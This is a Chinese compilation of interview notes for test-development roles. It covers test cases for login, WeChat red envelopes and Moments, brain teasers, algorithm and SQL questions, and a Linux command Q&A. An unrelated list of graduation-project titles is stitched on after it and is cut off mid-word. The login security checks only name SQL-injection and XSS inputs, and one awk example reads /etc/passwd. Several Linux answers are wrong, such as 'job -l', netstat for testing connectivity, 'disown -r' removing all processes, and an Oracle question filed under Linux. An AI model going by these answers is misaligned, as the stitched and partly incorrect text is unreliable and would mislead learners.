在上面所有的测试用例设计中,我们完全没有考虑对非功能性需求的测试,但这些往往是决定软件质量的关键因素。安全性测试用例包括:1. 用户密码后台存储是否加密;2. 用户密码在网络传输过程中是否加密;3. 密码是否具有有效期,密码有效期到期后,是否提示需要修改密码;4. 不登录的情况下,在浏览器中直接输入登录后的URL地址,验证是否会重新定向到用户登录界面;5. 密码输入框是否不支持复制和粘贴;6. 密码输入框内输入的密码是否都可以在页面源码模式下被查看;7. 用户名和密码的输入框中分别输入典型的“SQL注入攻击”字符串,验证系统的返回页面;8. 用户名和密码的输入框中分别输入典型的“XSS跨站脚本攻击”字符串,验证系统行为是否被篡改;9. 连续多次登录失败情况下,系统是否会阻止后续的尝试以应对暴力破解;10. 同一用户在同一终端的多种浏览器上登录,验证登录功能的互斥性是否符合设计预期;11. 同一用户先后在多台终端的浏览器上登录,验证登录是否具有互斥性。性能压力测试用例包括:1. 单用户登录的响应时间是否小于3秒;2. 单用户登录时,后台请求数量是否过多;3. 高并发场景下用户登录的响应时间是否小于5秒;4. 高并发场景下服务端的监控指标是否符合预期;5. 高集合点并发场景下,是否存在资源死锁和不合理的资源等待;6. 长时间大量用户连续登录和登出,服务器端是否存在内存泄漏。兼容性测试用例包括:1. 不同浏览器下,验证登录页面的显示以及功能正确性;2. 相同浏览器的不同版本下,验证登录页面的显示以及功能正确性;3. 不同移动设备终端的不同浏览器下,验证登录页面的显示以及功能正确性;4. 不同分辨率的界面下,验证登录页面的显示以及功能正确性。微信红包测试用例(★★★★★)单个红包:1、红包金额为空、0、0.01、200.00、200.01、199.99、2002、留言输入数字、字母、汉字、特殊字符3、留言长度4、留言复制粘贴5、表情选择收藏表情、其他表情6、删除表情、重新选择表情7、选择支付方式 零钱、银行卡、添加新卡支付。其中钱数<红包钱数、其中钱数=红包钱数、其中钱数>红包钱数8、使用指纹确认付款(正确的、错误的指纹)9、使用密码确认付款(正确的、错误的密码)10、红包成功发送后 相应支付方式中钱数减少(减少金额与红包金额一致)11、接受者能看到红包具体信息,红包金额、留言、表情均能正确显示12、红包被拆开后显示已领取,领取者零钱中增加正确金额,再次领取只能查看红包信息13、发红包者自己领红包14、红包24小时未被领取提示红包被退回,相应支付方式中钱数增加(增加金额与红包金额一致),对方不能领红包群发红包-普通红包:(只写了与单个红包不同的地方)1、红包个数 为空、0、001、100、99、1012、红包拆开每个金额一样 均为发红包时设置的单个金额对应的钱数3、红包被拆时,有相应提示4、发红包者自己领红包5、红包24小时内未被拆完,剩余钱被退回,相应支付方式中钱数增加群发红包-拼手气红包:1、红包总额/红包个数<0.012、红包每个人拆开金额不同,总金额与发红包设置的总额一致3、红包24小时内拆完后显示最佳手气4、红包24小时内未被拆完不显示最佳手气兼容性:安卓、苹果 不同型号版本手机UI测试:界面无错别字,风格统一中断测试:不同应用之间切换、断网、来电、短信、低电量、手机没电网络测试:2g/3g/4g WiFi 移动联通电信 弱网 无网微信朋友圈测试用例(★★★★★)功能测试1、朋友圈发送功能1)只发送文本a、考虑文本长度:1-1500字符(该数据为百度数据)、超出最大字符长度b、文本是否支持复制粘贴c、为空验证2)只发送图片a、本地相册选择/拍摄b、图片数量验证:1-9张图片、超出9张c、为空验证3)只发送视频a、本地相册选择/拍摄b、视频秒数验证:1-10s,超出10sc、视频个数验证:1个,超出1个d、视频格式验证:支持的视频格式,例mp4、不支持的视频格式e、视频大小验证:苹果400kb以内、Android200-300kb(此为百度数据)、超出规定大小f、视频预览增删改操作g、为空验证4)发送文本+图片:输入满足要求的文本、图片进行一次验证5)发送文本+视频:输入满足要求的文本、视频进行一次验证6)发送图片+视频:不支持发送7)朋友圈发送内容是否有限制,例如涉及黄赌毒等敏感字8)所在位置a、不显示位置:发送到朋友圈动态不显示位置b、选择对应位置:搜索支持、自动定位、手动编辑C、点击取消,返回上一级页面9)谁可以看a、设置公开:所有朋友可见b、设置私密(仅自己可见):自己查看朋友圈-可见、好友查看朋友圈-不可见c、设置部分可见(部分朋友可见):选择的部分好友-可见、不被选择的好友-不可见、是否有人数上限d、设置不给谁看(选中的朋友不可见):不被选中的朋友-可见、被选中的朋友-不可见、是否有人数上限e、点击取消,返回发送页面10)提醒谁看a、提醒单人/提醒多人:被提醒的朋友-收到消息提醒、未被提醒-未有消息提醒b、是否有人数上限c、点击取消,返回发送页面11)同步QQ空间:默认不同步、同步到QQ空间12)取消发送朋友圈操作a、选择相机,点击取消,返回朋友圈页面b、进入朋友圈发送页面,选择文本图片,点击取消13)朋友圈当天发送次数是否有上限限制2、朋友圈浏览功能1)文本查看:a、过长文本内容是否隐藏,并支持查看全文b、右键选择复制、收藏、翻译c、url链接是否支持点击跳转网页2)图片查看a、小图右键支持收藏/编辑b、点击支持大图浏览c、选择发送给朋友、收藏、保存图片、编辑d、多张图片支持左右滑动浏览3)视频查看a、右键视频支持静音播放/搜藏b、点击视频播放按键支持播放视频c、选择发送给朋友、收藏、保存视频、编辑4)分享动态浏览:QQ空间/公众号文章/非腾讯产品分享后朋友圈是否正常显示5)赞:点赞、取消点赞6)评论a、评论长度:评论字数合理长度、评论超过字数上限b、评论类型:纯中文、纯数字、纯字母、纯字符、纯表情(微信表情/手机自带表情)、混合类型、包含url链接;c、评论是否支持复制粘贴d、为空验证e、发表评论后删除f、评论回复操作7)删除朋友圈动态8)更换相册封面9)刷新是否正常获取新动态10)上滑是否加载更多界面/易用性测试1、技术人员角度:页面布局设计是否跟产品原型图/ui效果图一致2、但除了考虑1之外,我们同样要考虑到用户使用:功能操作是否简便,页面布局排版风格是否美观合理,提示语相关信息是否易于理解中断测试1、主要考虑:a)核心功能 b)当前功能存在实时数据交换,例发朋友圈、浏览朋友圈进行中断,是否容易出现崩溃2、中断包括:前后台切换、锁屏解锁、断网重连、app切换、来电话/来短信中断、插拔耳机线/数据线网络测试1、三大运营商不同网络制式测试2、网络切换测试:WIFI/4G/3G/2G3、无网测试:对于缓存在本地的数据,部分朋友圈信息是否支持浏览4、弱网测试:a、延时:页面响应时间是否可接受、不同网络制式是否区分超时时长、出现请求超时,是否给予相应的提示b、丢包:有无超时重连机制、如果未响应,是否给予相应提示c、页面呈现的完整性验证兼容性测试1、Android手机端、苹果手机端、pad版(主流)功能界面显示是否正常2、各平台朋友圈展示数据是否一致安全测试发送朋友圈时,文本输入脚本代码,是否出现异常性能测试1、服务器性能测试可通过loadrunner/jmeter工具实现,主要关注TPS、响应时间、吞吐量、CPU、内存等2、app客户端性能测试可通过GT工具实现,运行时关注cpu、内存、流量、电量等占用率3、app压力稳定性测试通过monkey工具实现,频繁发送朋友圈,浏览朋友圈请求,是否容易发生崩溃智力题1000 瓶无色无味的药水,其中有一瓶毒药,10只小白鼠拿过来做实验。喝了无毒的药水第二天没事儿,喝了有毒的药水后第二天会死亡。如何在一天之内(第二天)找出这瓶有毒的药水?(被问过)现在有9个球,其中有1个球相对轻一点。你手里只有一个天平,称2次,怎样找出那个轻的球?(被问过)25匹马赛跑,共有5个赛道,最少赛多少次可以找出前三名、前五名?(被问得太多)64匹马赛跑,8个赛道的问题。一个瓶子,有三种颜色糖果,问多少次,能确保拿到两个颜色一致的糖果。70克盐,20克砝码,一个天平,称出5克盐。两个杯子倒水:一个7升,一个3升,如何在一个杯子倒出5升?(被广州一家公司问过,公司名字我记不太清了,当时说了两种方法)两根分布不均匀的蜡烛,每根燃烧的时间是一个小时,问怎样算出15分钟的时间?(秋招时上海美团三面有问,一开始没思路,面试官一直在引导)测开岗高频算法题:三个数字的最大乘积有两个很长很很长的字符串,但是字符都是数字,实现这俩字符串的加法,输出为一个字符串。如str1="1231213347845713824718237489123748343246217489132", str2="623478573127438912743892017489132748172341324132"两数之和 标签:哈希表 (★★★)str1能不能最多交换两次字符变成str2,并设计测试用例。和为s的连续正数序列 标签:暴力、双指针有效括号 标签:栈 (★★★★)数组中重复的数字 标签:哈希表 (★★★★★)7的倍数或者包含7打印"-",其余的打印数字,每行不超过5个数字从1到100000000中取出一个数(自己申明一个变量,比如num = 2333),写代码找出取出的是哪个数。 标签:二分查找一个数在有序数组里出现的次数。标签:二分字符串转整数,并写测试用例。 标签:数学,有很多非数字类型需要考虑,还有数字越界的情况需要考虑,比较考察测试思维 (★★★★★)连续子数组的最大和 标签:分治、DP (★★★★)在字符串中找出没有重复字符的最长的连续子串,并返回子串及长度,譬如“aaabcdcbcbbb" 最长子串为abcd,长度为4判断链表是否有环 标签:双指针两个栈实现一个队列 (★★)最长不含重复字符的子字符串 标签:双指针、滑动窗口 (★★★★★)可以发现,测开岗的算法题难度相对要低一些,差不多都是剑指offer上或者力扣上的热门且难度为简单、中等的题。把每个标签的前5~10道题刷一刷,面试的时候基本够用。数据库:数据库:三张表food(id,name), materials(id, price), xxx(food_id, materials_id, quality) 给food_id,求成本数据库:表中有学生,课程,分数,求平均分最高的学生给定成绩表中的id、name、subject、score、stu_id,计算每个人的总成绩并排名(要求显示字段:姓名,总成绩)mysql语句统计表中男女生人数SQL多表联结数据库:查找平均分>60分的学生姓名 -- 采用嵌套查询left join , right join, inner join的区别SQL语句:三张表学生表,成绩表,课程表查询学生A的语文成绩Sql--查询每门课程都大于60分的学生姓名MYSQL对学生成绩列表进行分组求和并对成绩从高到低排序sql语句查询课程1的成绩比课程2 的成绩高的学号联表查询 学生表(学生id,姓名,性别,分数)student(s_id,name,sex,score),班级表(班级id,班级名称)class(c_id,c_name),学生班级表(班级id,学生id)student_class(c_id,s_id) ,(1)查询一班得分在80分以上的学生 (2)查询所有班级的名称,和所有班中女生人数和女生的平均分Linux知识点(★★★★)1.(★★★★★)绝对路径用什么符号表示?当前目录、上层目录用什么表示?主目录用什么表示? 切换目录用什么命令?绝对路径: 如/etc/init.d当前目录和上层目录: ./ ../主目录: ~/切换目录: cd2.(★★★★★)怎么查看当前进程?怎么执行退出?怎么查看当前路径?查看当前进程: ps执行退出: exit查看当前路径: pwd3.怎么清屏?怎么退出当前命令?怎么执行睡眠?怎么查看当前用户 id?查看指定帮助用什么命令?清屏: clear退出当前命令: ctrl+c 彻底退出执行睡眠 : ctrl+z 挂起当前进程fg 恢复后台查看当前用户 id: ”id“:查看显示目前登陆账户的 uid 和 gid 及所属分组及用户名查看指定帮助: 如 man adduser 这个很全 而且有例子; adduser --help 这个告诉你一些常用参数;info adduesr;4.(★★★★★)Ls 命令执行什么功能? 可以带哪些参数,有什么区别?ls 执行的功能: 列出指定目录中的目录,以及文件哪些参数以及区别: a 所有文件l 详细信息,包括大小字节数,可读可写可执行的权限等5.建立软链接(快捷方式),以及硬链接的命令。软链接: ln -s slink source硬链接: ln link source6.(★★★★)目录创建用什么命令?创建文件用什么命令?复制文件用什么命令?创建目录: mkdir创建文件:典型的如 touch,vi 也可以创建文件,其实只要向一个不存在的文件输出,都会创建文件复制文件: cp 7. 文件权限修改用什么命令?格式是怎么样的?文件权限修改: chmod格式如下:chmodu+xfile给file的属主增加执行权限chmodu+xfile给file的属主增加执行权限 chmod 751 file 给 file 的属主分配读、写、执行(7)的权限,给 file 的所在组分配读、执行(5)的权限,给其他用户分配执行(1)的权限chmodu=rwx,g=rx,o=xfile上例的另一种形式chmodu=rwx,g=rx,o=xfile上例的另一种形式 chmod =r file 为所有用户分配读权限chmod444file同上例chmod444file同上例 chmod a-wx,a+r file同上例$ chmod -R u+r directory 递归地给 directory 目录下所有文件和子目录的属主分配读的权限8.(★★★★★)查看文件内容有哪些命令可以使用?vi 文件名 #编辑方式查看,可修改cat 文件名 #显示全部文件内容more 文件名 #分页显示文件内容less 文件名 #与 more 相似,更好的是可以往前翻页tail 文件名 #仅查看尾部,还可以指定行数head 文件名 #仅查看头部,还可以指定行数9.随意写文件命令?怎么向屏幕输出带空格的字符串,比如”hello world”?写文件命令:vi向屏幕输出带空格的字符串:echo hello world10.终端是哪个文件夹下的哪个文件?黑洞文件是哪个文件夹下的哪个命令?终端 /dev/tty黑洞文件 /dev/null11.(★★★★)移动文件用哪个命令?改名用哪个命令?mv mv12.(★★★★)复制文件用哪个命令?如果需要连同文件夹一块复制呢?如果需要有提示功能呢?cp cp -r ????13.(★★★★)删除文件用哪个命令?如果需要连目录及目录下文件一块删除呢?删除空文件夹用什么命令?rm rm -r rmdir14.Linux 下命令有哪几种可使用的通配符?分别代表什么含义?“?”可替代单个字符。“*”可替代任意多个字符。方括号“[charset]”可替代 charset 集中的任何单个字符,如[a-z],[abABC]15.(★★★★★)用什么命令对一个文件的内容进行统计?(行号、单词数、字节数)wc 命令 - c 统计字节数 - l 统计行数 - w 统计字数。问题十六:(★★★★★)Grep 命令有什么用? 如何忽略大小写? 如何查找不含该串的行?答案:是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来。grep [stringSTRING] filename grep [^string] filename问题十七:(★★★★★)Linux 中进程有哪几种状态?在 ps 显示出来的信息中,分别用什么符号表示的?答案:(1)、不可中断状态:进程处于睡眠状态,但是此刻进程是不可中断的。不可中断, 指进程不响应异步信号。(2)、暂停状态/跟踪状态:向进程发送一个 SIGSTOP 信号,它就会因响应该信号 而进入 TASK_STOPPED 状态;当进程正在被跟踪时,它处于 TASK_TRACED 这个特殊的状态。“正在被跟踪”指的是进程暂停下来,等待跟踪它的进程对它进行操作。(3)、就绪状态:在 run_queue 队列里的状态(4)、运行状态:在 run_queue 队列里的状态(5)、可中断睡眠状态:处于这个状态的进程因为等待某某事件的发生(比如等待 socket 连接、等待信号量),而被挂起(6)、zombie 状态(僵尸):父亲没有通过 wait 系列的系统调用会顺便将子进程的尸体(task_struct)也释放掉(7)、退出状态D 不可中断 Uninterruptible(usually IO)R 正在运行,或在队列中的进程S 处于休眠状态T 停止或被追踪Z 僵尸进程W 进入内存交换(从内核 2.6 开始无效)X 死掉的进程问题十八:怎么使一个命令在后台运行?答案:一般都是使用 & 在命令结尾来让程序自动运行。(命令后可以不追加空格)问题十九:(★★★★★)利用 ps 怎么显示所有的进程? 怎么利用 ps 查看指定进程的信息?答案:ps -ef (system v 输出)ps -aux bsd 格式输出ps -ef | grep pid问题二十:哪个命令专门用来查看后台任务?答案:job -l21.把后台任务调到前台执行使用什么命令?把停下的后台任务在后台执行起来用什么命令?把后台任务调到前台执行 fg把停下的后台任务在后台执行起来 bg22.(★★★)终止进程用什么命令? 带什么参数?kill [-s <信息名称或编号>][程序] 或 kill [-l <信息编号>]kill-9 pid23.怎么查看系统支持的所有信号?kill -l24.搜索文件用什么命令? 格式是怎么样的?find <指定目录> <指定条件> <指定动作>whereis 加参数与文件名locate 只加文件名find 直接搜索磁盘,较慢。find / -name "string*"25.查看当前谁在使用该主机用什么命令? 查找自己所在的终端信息用什么命令?查找自己所在的终端信息:who am i查看当前谁在使用该主机:who26.使用什么命令查看用过的命令列表?history # 查看历史命令 保留1000个历史命令,超出会将最老的删除!951 # 可以根据查得命名编号直接在其前个感叹号执行这个编号对应的命令27.(★★★★★)使用什么命令查看磁盘使用空间? 空闲空间呢?df -hl文件系统 容量 已用 可用 已用% 挂载点Filesystem Size Used Avail Use% Mounted on /dev/hda2 45G 19G 24G 44% //dev/hda1 494M 19M 450M 4% /boot28.(★★★★★)使用什么命令查看网络是否连通?netstat29.(★★★★★)使用什么命令查看 ip 地址及接口信息?ifconfig30.查看各类环境变量用什么命令?查看所有 env查看某个,如 home: env $HOME31.通过什么命令指定命令提示符?\u:显示当前用户账号\h:显示当前主机名\W:只显示当前路径最后一个目录\w:显示当前绝对路径(当前用户目录会以~代替)$PWD:显示当前全路径$:显示命令行’$'或者’#'符号#:下达的第几个命令\d:代表日期,格式为week day month date,例如:"MonAug1"\t:显示时间为24小时格式,如:HH:MM:SS\T:显示时间为12小时格式\A:显示时间为24小时格式:HH:MM\v:BASH的版本信息 如export PS1=’[\u@\h\w#]$‘32.查找命令的可执行文件是去哪查找的? 怎么对其进行设置及添加?whereis [-bfmsu][-B <目录>...][-M <目录>...][-S <目录>...][文件...]补充说明:whereis 指令会在特定目录中查找符合条件的文件。这些文件的烈性应属于原始代码,二进制文件,或是帮助文件。-b 只查找二进制文件。-B<目录> 只在设置的目录下查找二进制文件。 -f 不显示文件名前的路径名称。-m 只查找说明文件。-M<目录> 只在设置的目录下查找说明文件。 -s 只查找原始代码文件。-S<目录> 只在设置的目录下查找原始代码文件。 -u 查找不包含指定类型的文件。which 指令会在 PATH 变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。-n 指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名。-p 与-n 参数相同,但此处的包括了文件的路径。 -w 指定输出时栏位的宽度。-V 显示版本信息33.通过什么命令查找执行命令?which 只能查可执行文件whereis 只能查二进制文件、说明文档,源文件等34.怎么对命令进行取别名?alias la='ls -a'35.du 和 df 的定义,以及区别?du 显示目录或文件的大小df 显示每个<文件>所在的文件系统的信息,默认是显示所有文件系统。(文件系统分配其中的一些磁盘块用来记录它自身的一些数据,如 i 节点,磁盘分布图,间接块,超级块等。这些数据对大多数用户级的程序来说是不可见的,通常称为 Meta Data。) du 命令是用户级的程序,它不考虑 Meta Data,而 df 命令则查看文件系统的磁盘分配图并考虑 Meta Data。df 命令获得真正的文件系统数据,而 du 命令只查看文件系统的部分情况。36.(★★★★★)awk 详解。awk '{pattern + action}' {filenames}#cat /etc/passwd |awk -F ':' '{print 1"\t"1"\t"7}' //-F 的意思是以':'分隔 root /bin/bashdaemon /bin/sh 搜索/etc/passwd 有 root 关键字的所有行#awk -F: '/root/' /etc/passwd root❌0:0:root:/root:/bin/bash37.当你需要给命令绑定一个宏或者按键的时候,应该怎么做呢?可以使用bind命令,bind可以很方便地在shell中实现宏或按键的绑定。在进行按键绑定的时候,我们需要先获取到绑定按键对应的字符序列。比如获取F12的字符序列获取方法如下:先按下Ctrl+V,然后按下F12 .我们就可以得到F12的字符序列 ^[[24~。接着使用bind进行绑定。[root@localhost ~]# bind ‘”\e[24~":"date"'注意:相同的按键在不同的终端或终端模拟器下可能会产生不同的字符序列。也可以使用showkey -a命令查看按键对应的字符序列。问题三十八:38.如果一个linux新手想要知道当前系统支持的所有命令的列表,他需要怎么做?使用命令compgen -c,可以打印出所有支持的命令列表。[root@localhost ~]$ compgen -cl.lllswhichifthenelseelifficaseesacforselectwhileuntildodone…39.如果你的助手想要打印出当前的目录栈,你会建议他怎么做?使用Linux 命令dirs可以将当前的目录栈打印出来。[root@localhost ~]# dirs/usr/share/X11目录栈通过pushd popd 来操作。40.你的系统目前有许多正在运行的任务,在不重启机器的条件下,有什么方法可以把所有正在运行的进程移除呢?使用linux命令 ’disown -r ’可以将所有正在运行的进程移除。41.bash shell 中的hash 命令有什么作用?linux命令’hash’管理着一个内置的哈希表,记录了已执行过的命令的完整路径, 用该命令可以打印出你所使用过的命令以及执行的次数。[root@localhost ~]# hashhits command2 /bin/ls2 /bin/su42.哪一个bash内置命令能够进行数***算。bash shell 的内置命令let 可以进行整型数的数***算。#! /bin/bash……let c=a+b……43:(★★★★★)怎样一页一页地查看一个大文件的内容呢?通过管道将命令”cat file_name.txt” 和 ’more’ 连接在一起可以实现这个需要.[root@localhost ~]# cat file_name.txt | more44.数据字典属于哪一个用户的?数据字典是属于’SYS’用户的,用户‘SYS’ 和 ’SYSEM’是由系统默认自动创建的45.怎样查看一个linux命令的概要与用法?假设你在/bin目录中偶然看到一个你从没见过的的命令,怎样才能知道它的作用和用法呢?使用命令whatis 可以先出显示出这个命令的用法简要,比如,你可以使用whatis zcat 去查看‘zcat’的介绍以及使用简要。[root@localhost ~]# whatis zcatzcat [gzip] – compress or expand files46.使用哪一个命令可以查看自己文件系统的磁盘空间配额呢?使用命令repquota 能够显示出一个文件系统的配额信息
计算机专业毕业设计题目汇总-最新题目 选题 推荐 毕业设计 - 毕设指导 开题报告 论文
计算机专业毕业设计题目汇总-最新题目 选题 推荐 毕业设计 - 毕设指导 开题报告 论文文末见点赞再看,养成习惯@[toc]计算机专业毕业设计题目大全ASP类计算机专业毕业设计题目网络留言薄客户管理系统多媒体积件管理库的开发与应用基于WEB的多媒体素材管理库的开发与应用网络教学软件中的教学设计与应用小型教育网站的开发与建设基于图像的风景旅游模拟漫游系统网上报名系统电脑配件网络购物房产网站计算机组成原理网站软件下载系统网站图书管理系统网络办公系统电子书店管理系统中学学生学籍管理系统在线图书销售系统网上图书销售系统网上购物系统出租公司管理系统办公管理系统班级网站教学互动系统网上求职招聘系统鲜花销售管理系统小区物业管理系统学生社团管理系统在线邮件发送系统在线考试系统综合网站系统校园新闻管理系统在线订单管理系统聊天室管理系统教师档案管理系统信息网管理系统毕业论文管理系统车辆故障管理系统电子商务网站房产销售网站网上购物系统工资管理系统卷烟物价管理系统聊天室管理系统聊天室管理系统网络教学平台-教师子系统物流网站网上选排课系统病历管理系统学生成绩学分制管理系统药店管理系统小型酒店管理系统基于web的师资管理系统网上教务评教系统网络电话号码查询系统BLOG网站建设网上拍卖系统视频点播系统B2C购物网站设计煤炭销售系统旅行社网站系统教学进度管理系统建材网站系统手机商城网站珠宝购物网站的建设企业网站系统音乐网站系统电影网站系统毕业生学历证明系统网络相册管理系统物资管理系统选课及媒体教学系统网上书店学生日常行为评分管理系统网上手机购物系统校园办公系统在线考试系统电子商务网站设计个人网站建设及实现学籍管理系统毕业设计管理系统图书销售系统网页信息采集系统毕业设计管理系统个人网站的设计与实现库存管理系统信通系网站的设计与更新现代通信原理网站基于Matlab 的移动通信网站设计论坛系统高校评教教师工作量管理系统网上图书销售网上书店个人网站设计之654上网导航教师信息管理人才信息管理系统网络图书销售系统BBS论坛系统办公管理系统个人网站设计图书管理系统企业订单管理系统企业网站建设网上挂号系统文章发布系统家庭财务管理系统求职招聘网站网上书店网上购物系统在线考试系统人事管理系统网上教务评教系统在线学习网站企业信息平台建设教务管理系统动态网站建设在线图库网站医院管理系统网络硬盘管理系统教学在线网站手机销售网站校园相册管理系统在线医药销售网站网上书店库存管理系统人事管理系统玩具公司网站设计网上求职与招聘系统网上书店房产信息管理系统计算机散件报价系统电子商务网站设计(网上商品销售系统)供求信息网基于WEB的设备管理系统基于Web的网上物流系统网络考试系统人力资源管理系统基于WEB的购物系统汽车销售管理信息系统在线药店管理系统在线图书管理系统网上图书超市供房产信息网站精品课程网站课堂考勤管理系统企业网站建设企业信息网搜索引擎网站(网址站)系统班级网站网上鲜花店在线订餐系统校园二手拍卖网站个人博客Blog建设P二手车交易管理系统专用信箱系统的实现网络办公系统客房预订系统客户关系管理系统计算机组成原理精品课程网站理发管理系统在线视频播放网站mp3销售网站中学网站建设企业网络办公系统人事档案管理系统在线音乐播放器在线投票系统图书管理系统企业员工信息管理系统药店销售管理系统图书管理系统网上军事论坛职称考试模拟系统在线考试系统局域网文件共享及检索系统网络房产信息超市音像销售系统的设计与实现文学网站的设计与实现网络文件管理系统搜索引擎的设计与实现论坛系统工资管理系统玩具网站图书销售管理系统基于asp的搜索引擎基于WEB的房屋出租管理系基于BS的家教交流平台交易管理系统简易网络存储系统场地预约系统的设计与实现玩友交流网站网上交易平台网站网络考试系统医院信息管理系统基于ASP网站的安全性研究与实现民航售票管理系统学生在线选课系统高校工资管理系统基于BS结构的旅游网站精品课程网站基于BS结构的房屋租售管理系统库存管理系统网上订餐系统小区物业管理系统学生交流论坛社区管理系统基于BS结构的工艺品销售系统求职与招聘系统数字图书馆的设计与实现商场管理系统学生管理系统工艺品展示系统网上考试系统网上教学系统旅游网站旅游信息系统基于ASP的反垃圾邮件管理系统的设计个人日志系统的设计与实现BBS系统开发与帐户安全病历管理系统校园论坛的设计与实现销售供应链管理系统家电销售管理系统客户关系管理系统库存管理系统二手交易系统的设计与实现档案管理系统音乐网站的设计与实现企业网上订单系统人事工资管理系统人事管理系统学生信息管理系统在线考试系统网上书店的设计与实现进销存管理系统影碟管理系统人才交流网站(求职招聘)笔记本销售网站网上教务系统毕业论文管理系统二手交易系统网上投票系统设备管理系统企业公告及资料发布系统企业员工管理系统课程教学网站二手商品交易管理系统物流网站在线手机销售系统旅游网站在线花店博客网站同学录文章发布系统校园新闻发布管理系统在线花店网上花店在线教育系统在线人才网(招聘网)学生管理系统期刊稿件处理系统网络聊天室个人网站的设计与实现音乐网站网络留言本网上图书销售系统实验室设备管理系统办公自动化系统酒店预定管理系统学生成绩查询系统视频点播系统团员管理系统网上作业提交系统企业网站建设网上报名系统车辆调度管理系统动态网站设计与制作个人网上日记本车辆管理系统校园物品交易系统人力资源管理系统在线C语言教学系统交友网站图书管理系统旅游资源及线路管理系统软件信息发布系统学校学生论坛的设计与实现办公管理系统毕业设计选题管理系统电子商务网站的设计与实现电子政务档案管理系统服装销售系统奥运专题网站基于WEB的办公管理系统家教信息管理系统教师档案管理系统教师信息管理系统教学互动系统酒店房间预约系统客户关系管理系统企业进销存管理系统企业物流管理系统求职招聘网站人才招聘网站人力资源管理系统上网导航网站同学录设计与实现在线投票系统图书管理系统的设计与实现网络办公系统网络购物系统网络硬盘资源管理系统网上书店网上考试系统聊天室设计与开发网上人才管理系统网上售房管理系统网上贴吧系统网上选课系统物流网站的设计与实现物资管理系统校友录新闻管理系统新闻发布系统信息查询系统学生信息管理系统药店管理系统医药连锁店管理系统影片租赁系统网上书店学生信息管理系统在线考试系统鲜花销售系统在线教育系统作业提交与批改系统教师信息管理系统Flash制作《七里香》动画MTVFLASH制作歌曲<下雨天>动画MTV信息学院网上办公系统网上答疑系统的设计与开发基于WEB的新生报到系统管理的设计与实现基于web的财务管理系统动态个人博客设计毕业生信息管理系统编译原理在线答疑系统设计与实现编译原理在线考试系统个人财务管理机房上机安排管理系统基于ASP技术的人才招聘信息系统基于WEB的产品管理系统基于WEB的网上购物系统期刊学报网络投稿系统企业网上办公自动化系统的设计与实现汽车在线销售系统手机网上购物平台的设计与实现数据库精品课程系统通用网站生成系统企业办公自动化系统网上招标系统校园网站设计基于ASP的学生考试系统基于BS考试系统的实现网络版客户管理系统计算机等级考试系统设计与实现网上图书查询与销售系统心缘同学录的设计与实现学院电子政务系统在线点播系统高校文学系统的设计与开发综合教务系统信息发布子系统中小型企业商务网站的设计和实现在线考试系统的设计与研发心理健康网的规划与设计网上书店系统的设计与实现网上教学平台的设计与实现在线花卉销售系统在线鲜花销售系统论坛程序的设计与实现期刊系统的设计与实现基于Web的在线考试系统基于WEB的学生成绩管理系统基于WEB的新生报到系统管理的设计与实现在线教育系统的设计与实现基于XML技术的调查投票系统的设计与实现基于B/S模式的网络教学系统宠物医院管理信息系统学生心理健康网的规划与设计网络自主学习监控技术研究基于ASP的计算机组成原理考试系统企业及其分支机构内部办公管理系统毕业生就业信息管理系统编译原理在线考试系统的设计与实现基于ASP的人才招聘系统基于LAN的视频教学系统ASP. NET类计算机专业毕业设计题目城市公交查询系统电子邮件客户端软件(C#)图书管理系统(C#)网上书店系统图的遍历动态演示程序(C#)网上选课系统职工信息管理系统题库专家系统视频点播系统校园新闻发布管理系统客户管理系统车间管理系统停车管理系统毕业设计管理系统教师评定管理系统基于PowerDesigner的合同管理系统校园新闻发布系统知识库管理系统网上数码商店网上宠物店库存管理系统电子商务网站JAVA语言考试系统的设计与实现课程教学网站留言板(版)管理系统学生选课系统应用ASP. NET开发和制作网络课程书店图书管理系统火车站管理系统基于B/S结构的车辆管理系统基于WEB的新闻管理系统基于Web的网络论坛系统旅游网站(信息平台)研究与实现学生管理系统学生选课系统同学录校友录在线答疑系统图书馆管理系统作业批改系统房产管理系统选课系统校友录购物网站的设计与实现城市公交查询系统的设计与实现网上书店网上书店的设计与实现在线考试系统基于Web的招投标系统网上购物系统网上物流管理系统网络办公系统(公文管理系统)网络考试系统在线作业系统新闻管理系统企业办公系统的设计与实现员工绩效管理系统企业信息管理系统交通线路查询系统实验室预约系统视频点播系统网络相册的设计与实现图书销售管理系统学籍管理系统基于Web的电力管理系统网上模拟考试系统的设计与实现在线考试网上花店网上商品销售系统设备管理系统企业财务管理系统学生管理系统客户关系管理系统师资管理系统高校成绩管理系统的设计与实现网上考试系统在线考试系统论文网上考试系统网上书店车辆租赁系统基于Web的办公自动化系统企业公文管理系统网上自测试系统资讯网设计与实现公司管理系统监控网站网上论坛网上商店生成系统网上选课系统中学图书馆系统的设计与实现手机前台营业系统图书管理系统土地整理项目库建设在线调问卷系统邮件收发管理系统基于P2P网络模型的即时通讯软件的研制网络个人多媒体空间的设计(博客)基于web的师资管理系统基于. net平台的成绩管理系统设计与实现工作流引擎子系统订单管理系统第101-150个题目媒体播放器作业提交系统企业人事管理系统基于ASP. NET的班级风采网站的设计网上图书预约系统的设计小型门户网自助建站系统在线毕业论文提交系统C语言教学网站及网上考试系统的设计与实现基于ASP. NET简易博客网站的设计与实现多语种网络硬盘系统的设计基于. NET的工资绩效管理系统的开发基于ASP. NET的电子产品销售网站的设计与实现网上人才招聘系统基于Web的文档管理系统的设计与实现汽车销售管理系统的设计与开发基于Ajax+Lucene构建搜索引擎的设计与实现教师电子化信息库的设计与实现小型企业办公耗材库存管理软件的设计与实现基于. NET的酒店预订信息管理系统的设计基于web的订餐系统的设计与实现门诊就诊系统的设计与实现二手交易市场高校网上教材征订系统的设计与实现家庭理财系统的设计与实现基于ASP. 